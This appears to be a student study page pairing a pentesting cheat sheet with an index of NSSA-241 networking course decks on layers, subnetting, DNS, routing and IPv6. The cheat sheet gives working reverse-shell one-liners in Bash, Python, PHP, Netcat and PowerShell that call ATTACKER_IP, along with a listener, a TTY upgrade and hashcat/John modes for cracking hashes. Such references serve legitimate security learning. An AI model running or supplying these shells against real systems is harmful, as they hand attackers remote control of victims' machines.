// kali & pentesting
🐚

Reverse Shell One-Liners

Set up a listener first: nc -lvnp 4444

# Bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

# Python 3
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# PHP
php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# Netcat (with -e)
nc ATTACKER_IP 4444 -e /bin/bash

# Netcat (without -e, pipe trick)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f

# PowerShell (Windows)
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

# Upgrade shell to fully interactive TTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Then: Ctrl+Z → stty raw -echo; fg → export TERM=xterm
🔐

Hash Types & Hashcat Modes

Identify the format, then feed hashcat -m <mode>.

Hash TypeExampleHashcat -mJohn Format
MD55f4dcc3b5aa765d61d8327deb882cf990raw-md5
SHA-15baa61e4c9b93f3f0682250b6cf8331b7ee68fd8100raw-sha1
SHA-2565e884898da28047151d0e56f8…1400raw-sha256
SHA-512b109f3bbbc244eb82441917…1700raw-sha512
NTLM31d6cfe0d16ae931b73c59d7e0c089c01000nt
MD5crypt ($1$)$1$salt$hash500md5crypt
SHA-256crypt ($5$)$5$salt$hash7400sha256crypt
SHA-512crypt ($6$)$6$salt$hash1800sha512crypt
bcrypt ($2a$)$2a$12$…3200bcrypt
MySQL4*hash300mysql

// nssa-241 networking

Networking Study Decks

Ten chapter decks, two full guides and a hands-on Packet Tracer lab covering NSSA-241 networking from zero. Each opens in its own reader — interactive slide + notebook decks with worked examples, diagrams, and matching Kali labs.

These are self-contained documents with their own layout and slides⇄notebook view switcher, kept exactly as authored and opened in a new tab.

📡Slides + Labs

Ch.1 · Data Communications & Networking

Bandwidth, latency, protocols, standards bodies, and network types. Slides + Kali labs.

Open deck ↗
🔢Slides + Labs

Ch.2 · Network Models, Addressing & Wireshark

OSI vs TCP/IP, encapsulation, MAC vs IP addressing, Wireshark basics. Slides + Kali labs.

Open deck ↗
🔗Slides + Labs

Ch.3 · The Link Layer, Ethernet & ARP

Frames, error detection, CSMA/CD, Ethernet, ARP, and the golden rule: IP end-to-end, MAC hop-to-hop.

Open deck ↗
🌎Slides + Labs

Ch.4 · The Network Layer (IP)

IPv4 header fields, TTL, fragmentation, subnet masks, address classes, and private ranges.

Open deck ↗
📢Slides + Labs

Ch.5 · ICMP & NAT

ICMP messages, ping, traceroute, private RFC 1918 networks, static/dynamic NAT, and PAT.

Open deck ↗
✂️Slides + Labs

Ch.6 · Subnetting

Borrowing bits, the magic-number recipe, FLSM vs VLSM, CIDR. Worked examples with ipcalc labs.

Open deck ↗
📇Slides + Labs

Ch.7 · DNS & DHCP

The DNS hierarchy, records, queries and caching, plus DHCP and the DORA handshake. Slides + Kali labs.

Open deck ↗
🚚Slides + Labs

Ch.8 · Transport Layer

Ports and sockets, TCP's three-way handshake, reliability and flow control, and connectionless UDP. Slides + Kali labs.

Open deck ↗
🗺️Slides + Labs

Ch.9 · Routing Algorithms & Protocols

Forwarding vs routing, link-state (Dijkstra) and distance-vector, autonomous systems, and RIP, OSPF & BGP. Slides + Kali labs.

Open deck ↗
♾️Slides + Labs

Ch.10 · IPv6

128-bit addresses, the streamlined header, extension headers, and unicast/multicast/anycast with GUA & link-local. Slides + Kali labs.

Open deck ↗